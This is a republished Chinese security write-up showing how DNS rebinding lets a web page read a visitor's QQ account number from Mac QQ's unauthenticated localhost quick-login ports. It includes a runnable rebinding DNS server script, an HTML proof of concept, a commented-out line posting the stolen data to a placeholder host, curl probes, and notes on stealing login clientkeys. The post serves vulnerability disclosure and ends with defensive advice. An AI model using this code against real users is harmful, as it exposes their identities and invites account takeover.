内容简介:通过 DNS Rebinding 获取访客 QQ 号
0x01 前言
在 V2EX 看到个有趣的帖子: 通过 QQ 客户端登录 Web 邮箱的身份认证漏洞 。
于是研究了一下自己 Mac 上打开 QQ 邮箱的流程,发现利用 QQ 快速登录的一些设计缺陷可以在 Web 端获取访客的 QQ 号,甚至有可能获取到访客的 clientkey
来登陆他的 QQ 邮箱、空间等(虽然最后遇到坑失败了 Orz)。
只有 Mac QQ
受影响。(文中提到的 QQ 版本: Windows QQ 轻聊版 7.9
,Mac QQ MAS 版 5.4.1
,文中部分参数在不影响阅读前提下经过处理)
0x02 初探
参考 How Does QQ Know Who I am ,首先看看 Mac 版 QQ 的监听端口:
$ lsof -n -P -i TCP -s TCP:LISTEN | grep 430 QQ 852 user 44u IPv4 0x31f4b01c692c6bef 0t0 TCP 127.0.0.1:4300 (LISTEN) QQ 852 user 45u IPv4 0x31f4b01c692c59ff 0t0 TCP 127.0.0.1:4301 (LISTEN)
可以看到 QQ 默认监听了本地的 4300
和 4301
端口,这两个端口的区别就是前者是 HTTP
协议而后者是 HTTPS
的。
用户在网页端使用快速登录时,会先对这两个端口中的一个进行请求获取当前登陆的 QQ 号(多个 QQ 号的信息会一同返回):
http://localhost.ptlogin2.qq.com:4300/pt_get_uins?callback=ptui_getuins_CB&pt_local_tk=123 https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&pt_local_tk=123
测试发现 QQ 空间和邮箱的客户端快速登录用的是 4031 端口,而 www.qq.com 官网弹出的快速登录窗口用的又是 4300 端口,不明白为什么不统一使用更安全的 4031 端口。
如果没有从这两个默认端口获取到信息,快速登录的 SDK 会更换端口进行重试。比如接下来请求的 HTTP 的端口会依次是 4300、4302、4304、4306… HTTPS 的端口会依次是 4301、4303、4305、4307…
参考 QQ模拟登录实现后篇 ,重试请求最多五次。
在本机用 curl
模拟请求这个接口:
$ curl -v http://127.0.0.1:4300/pt_get_uins\?callback\=ptui_getuins_CB * Trying 127.0.0.1... * TCP_NODELAY set * Connected to 127.0.0.1 (127.0.0.1) port 4300 (#0) > GET /pt_get_uins?callback=ptui_getuins_CB HTTP/1.1 > Host: 127.0.0.1:4300 > User-Agent: curl/7.51.0 > < HTTP/1.1 200 OK < Date: Tue, 13 Jun 2017 11:50:47 GMT < Accept-Ranges: bytes < Content-Length: 185 < Content-Type: Application/javascript < * Curl_http_done: called premature == 0 * Connection #0 to host 127.0.0.1 left intact var var_sso_uin_list=[{"account":"123456","client_type":65793,"face_index":540,"gender": 1,"nickname":"Test","uin":"123456","uin_flag":12345678}];ptui_getuins_CB(var_sso_uin_list); $ curl -v https://127.0.0.1.xip.io:4301/pt_get_uins\?callback\=ptui_getuins_CB -k * Trying 127.0.0.1... * TCP_NODELAY set * Connected to 127.0.0.1.xip.io (127.0.0.1) port 4301 (#0) * TLS 1.2 connection using TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 * Server certificate: localhost.ptlogin2.qq.com * Server certificate: GlobalSign Organization Validation CA - SHA256 - G2 * Server certificate: GlobalSign Root CA > GET /pt_get_uins?callback=ptui_getuins_CB HTTP/1.1 > Host: 127.0.0.1.xip.io:4301 > User-Agent: curl/7.51.0 > < HTTP/1.1 200 OK < Date: Tue, 13 Jun 2017 11:33:07 GMT < Accept-Ranges: bytes < Content-Length: 185 < Content-Type: Application/javascript < * Curl_http_done: called premature == 0 * Connection #0 to host 127.0.0.1.xip.io left intact var var_sso_uin_list=[{"account":"123456","client_type":65793,"face_index":540,"gender": 1,"nickname":"Test","uin":"123456","uin_flag":12345678}];ptui_getuins_CB(var_sso_uin_list);
可以看到无论是 4300 和 4301 端口都“来者不拒”,并未做任何验证,这与 Windows 版 QQ 有很大区别。我们能不能利用它搞点事情呢?
不过和之前出现在百度的安卓 SDK 的 WormHole 漏洞不一样,QQ 监听的是本地端口,所以从外部是无法访问的。
所以如果想从 Web 发送请求到 127.0.0.1(localhost.ptlogin2.qq.com),肯定会被 同源策略(SOP) 给拦截掉。
0x03 DNS Rebinding
思考了一下绕过 SOP 的方法,想起来去年 SSRF 火热的时候流行的一个手段—— DNS Rebinding 。
可以参考 Ricterz 的用 DNS Rebinding 绕过域名 IP 校验的文章: Use DNS Rebinding to Bypass IP Restriction 。
同理我们也可以试着用 DNS Rebinding 欺骗浏览器从而绕过 SOP。
具体操作参考 关于 DNS-rebinding 的总结 。
先准备一个域名 xxx.net
,添加一条 NS 记录
和 A 记录
:
A 记录表示域名 ns.xxx.net
的 IP 地址是 45.77.11.22
。
NS 记录表示 rebind.xxx.net
这个子域名指定由 ns.xxx.net
这个域名服务器来解析。
然后在 ns.xxx.net 上搭建我们自定义的 DNS 服务器,代码如下:
from twisted.internet import reactor, defer from twisted.names import client, dns, error, server record={} class DynamicResolver(object): def _doDynamicResponse(self, query): name = query.name.name if name not in record or record[name]<1: ip = "45.77.11.22" else: ip = "127.0.0.1" if name not in record: record[name] = 0 record[name] += 1 print name + " ===> " + ip answer = dns.RRHeader( name = name, type = dns.A, cls = dns.IN, ttl = 0, payload = dns.Record_A(address = b'%s' % ip, ttl=0) ) answers = [answer] authority = [] additional = [] return answers, authority, additional def query(self, query, timeout=None): return defer.succeed(self._doDynamicResponse(query)) def main(): factory = server.DNSServerFactory( clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')] ) protocol = dns.DNSDatagramProtocol(controller=factory) reactor.listenUDP(53, protocol) reactor.run() if __name__ == '__main__': raise SystemExit(main())
需要安装 twisted
库,如果 pip install twisted
不成功的话建议下载源码包然后 python setup.py install
。
以 Root 权限运行脚本(记得打开防火墙的 53 端口),DNS 服务器就搞定了。
接着写 PoC:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Rebind Test</title> </head> <body> <script src="//upcdn.b0.upaiyun.com/libs/jquery/jquery-2.0.3.min.js"></script> <script> function GetUin(){ $.ajax({ url: "http://rebind.xxx.net:4300/pt_get_uins?callback=hello", type: "GET", dataType: "text", success: function(data){ // $.post("http://xxxx", {'qq_uin': data})} alert(data); } }); } // 让子弹飞一会儿 setTimeout("GetUin()", 3000); </script> </body> </html>
保存为 index.html
,执行 python -m SimpleHTTPServer 4300
开启一个简单的 WebServer,
最后访问 http://rebind.xxx.net:4300
,成功获得了访问用户的 QQ 信息:
此时服务器上的日志:
(因为浏览器会缓存 DNS 记录,所以测试时需要清理一下 chrome://net-internals/#dns
和 chrome://net-internals/#sockets
)。
0x04 深入
文章开头 V2EX 的帖子提到用 QQ 客户端打开邮箱时会生成一个包含 clientuin
和 clientkey
的链接,任何人访问这个链接就能打开对应的 QQ 邮箱乃至 QQ 空间等其他腾讯业务。
想起来很久之前看过的一个漏洞: 你 Windows 上开着 QQ 点了我的链接我就进了你的 QQ 邮箱财付通等(任意腾讯 XSS 拿 QQ 的 clientkey) 。
这个漏洞主要是用 XSS偷 clientuin 和 clientkey,漏洞作者有提到一句话:
这个请求的 token 校验没有经过服务端验证,直接就是看 get 参数里的 pt_local_tk 是否和 cookie 中的 pt_local_token 相等
这样的话,攻击者就可以更轻松的去伪造请求让用户快速登陆。而且,理论上本机 localhost 上的任何软件都可以很轻易的伪造请求来获取当前登陆 QQ 的 clientkey
如果已经能在用户电脑上安装软件了,还用这种方法获取 clientkey 看起来多此一举。
那我们是不是也能用 DNS Rebinding 的方法得到 clientkey 呢?
继续分析快速登陆流程,获取到当前登陆的 QQ 号后,用户在页面点击自己的 QQ 头像,会请求
http://localhost.ptlogin2.qq.com:4300/pt_get_st?clientuin=123456&callback=ptui_getst_CB&pt_local_tk=123 // 或 https://localhost.ptlogin2.qq.com:4301/pt_get_st?clientuin=123456&callback=ptui_getst_CB&pt_local_tk=123
如果请求成功会返回包含 clientkey 的 Cookie。
但不幸的是这里检查了 Referer
:
// 简化的请求 GET /pt_get_st?clientuin=123456&callback=ptui_getst_CB HTTP/1.1 Host: localhost.ptlogin2.qq.com:4300 Connection: close Referer: http://ptlogin2.qq.com
这个请求检查 Referer 是否来自 *.ptlogin2.qq.com
或 *.ptlogin2.qcloud.com
等腾讯自己的域名,且二级域名必须是 ptlogin2
。否则就会 400 Bad Request:
因为 JS 无法修改 Referer,所以需要一个白名单域下的 302 任意跳转或 XSS,或者浏览器层的 Referer 欺骗(如 Referrer spoofing with iframe injection )。
可惜找了一圈没找到可用的漏洞,只能先放着了。(话说呆子不开口提交漏洞报告后腾讯好像只是修复了 ui.ptlogin2.qq.com
的 XSS 漏洞,并没有对整个流程进行修改)
接着看了下 Windows 版 QQ,同样默认监听了本地的 4300 和 4301 端口:
$ netstat -an | findstr 430 TCP 127.0.0.1:4300 0.0.0.0:0 LISTENING TCP 127.0.0.1:4301 0.0.0.0:0 LISTENING
经测试 Windows 版 QQ 相比 Mac 版多了有三处变化:
- Referer 验证。Referer 必须来自于
*.qq.com
、*.tencent.com
、*.weiyun.com
等腾讯自己的域名。 - Cookie 验证。GET 参数中的 pt_local_tk 必须与 Cookie 中的 pt_local_token 相同。
- Hostname 验证。请求头中的
Host
必须是localhost.ptlogin2.qq.com
。
第一个和第二个验证使从其他网站发送的 AJAX 请求无效,因为浏览器会拒绝修改 HTTP 头中的 Referer 和 Cookie :
而第三个验证会让 DNS Rebinding 失效,因为我们控制的域名不可能和 localhost.ptlogin2.qq.com 一样。
一个简化的 Windows 版 QQ 请求本地 4301 端口内容:
GET /pt_get_uins?callback=ptui_getuins_CB&pt_local_tk=123 HTTP/1.1 Host: localhost.ptlogin2.qq.com:4301 Connection: close Referer: http://test.qq.com Cookie: pt_local_token=123;
用 curl 模拟请求:
$ curl -i -v -s -k -X "GET" -H "Referer: http://test.qq.com" -b "pt_local_token=123" "https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&pt_local_tk=123" --cacert "F:\ca-bundle.crt" * timeout on name lookup is not supported * Trying 127.0.0.1... * Connected to localhost.ptlogin2.qq.com (127.0.0.1) port 4301 (#0) * ALPN, offering http/1.1 * Cipher selection: ALL:!EXPORT:!EXPORT40:!EXPORT56:!aNULL:!LOW:!RC4:@STRENGTH * successfully set certificate verify locations: * CAfile: F:\ca-bundle.crt CApath: none * TLSv1.2 (OUT), TLS header, Certificate Status (22): * // 省略部分 TLS handshake …… * TLSv1.2 (IN), TLS handshake, Finished (20): * SSL connection using TLSv1.2 / AES256-GCM-SHA384 * ALPN, server did not agree to a protocol * Server certificate: * subject: C=CN; ST=guangdong; L=shenzhen; O=Shenzhen Tencent Computer Systems Compan y Limited; CN=localhost.ptlogin2.qq.com * start date: May 15 07:01:45 2017 GMT * expire date: May 16 07:01:45 2018 GMT * issuer: C=BE; O=GlobalSign nv-sa; CN=GlobalSign Organization Validation CA - SHA256 - G2 * SSL certificate verify result: unable to get local issuer certificate (20), continu ing anyway. > GET /pt_get_uins?callback=ptui_getuins_CB&pt_local_tk=123 HTTP/1.1 > Host: localhost.ptlogin2.qq.com:4301 > Cookie: pt_local_token=123 > Referer: http://test.qq.com > < HTTP/1.1 200 OK < Content-Type: Application/javascript < Content-Length: 176 < var var_sso_uin_list=[{"account":"123456","client_type":65793,"face_index":540,"gender": 1,"nickname":"Test","uin":"123456","uin_flag":12345678}];ptui_getuins_CB(var_sso_uin_list);
如果修改 hostname,虽然 IP 都是 127.0.0.1,依然会报错。
$ curl -i -s -k -v -X "GET" -H "Referer: http://test.qq.com" -b "pt_local_token=123" "https://127.0.0.1.xip.io:4301/pt_get_uins?callback=ptui_getuins_CB&pt_local_tk=123" --cacert "F:\ca-bundle.crt * timeout on name lookup is not supported * Trying 127.0.0.1... * Connected to 127.0.0.1.xip.io (127.0.0.1) port 4301 (#0) * ALPN, offering http/1.1 * Cipher selection: ALL:!EXPORT:!EXPORT40:!EXPORT56:!aNULL:!LOW:!RC4:@STRENGTH * successfully set certificate verify locations: * CAfile: F:\ca-bundle.crt CApath: none * TLSv1.2 (OUT), TLS header, Certificate Status (22): * TLSv1.2 (OUT), TLS handshake, Client hello (1): * Unknown SSL protocol error in connection to 127.0.0.1.xip.io:4301 * Closing connection 0
有了这三个验证,从 Web 端利用这个接口获取 Windows 访客 QQ 号就行不通了。
0x05 总结
QQ Mac 版和 Windows 版在实现快速登录的流程是一样的,但具体细节明显是 Windows 版更完善。
只监听本地端口并不意味着就不会受到外部的攻击,利用 DNS Rebinding 甚至可以 攻击开发者本地的数据库 。
目前对于 DNS Rebinding 没有太好的解决办法,主流浏览器有一个DNS 阻塞( DNS pinning
)的机制。简单来说,就是某些包含特定端口(如 SMTP 和 IRC)的网站一旦被加载完成,浏览器就需要忽略其 DNS 的变化。所以除了依赖浏览器,程序在接收外部请求时也要严格验证其合法性。
0x06 参考
Use DNS Rebinding to Bypass IP Restriction
你 Windows 上开着 QQ 点了我的链接我就进了你的 QQ 邮箱财付通等(任意腾讯 XSS 拿 QQ 的 clientkey)
How to steal any developer's local database以上所述就是小编给大家介绍的《通过 DNS Rebinding 获取访客 QQ 号》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 通过正则来获取URL的参数值
- Golang:通过小程序获取微信 openid
- 通过js获取当前页面url的信息
- javascript – Backbone.Collection通过id获取模型
- 通过关键字获取漏洞平台最新漏洞信息
- 如何通过Spring Data/EntityManager/Session直接获取数据?
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。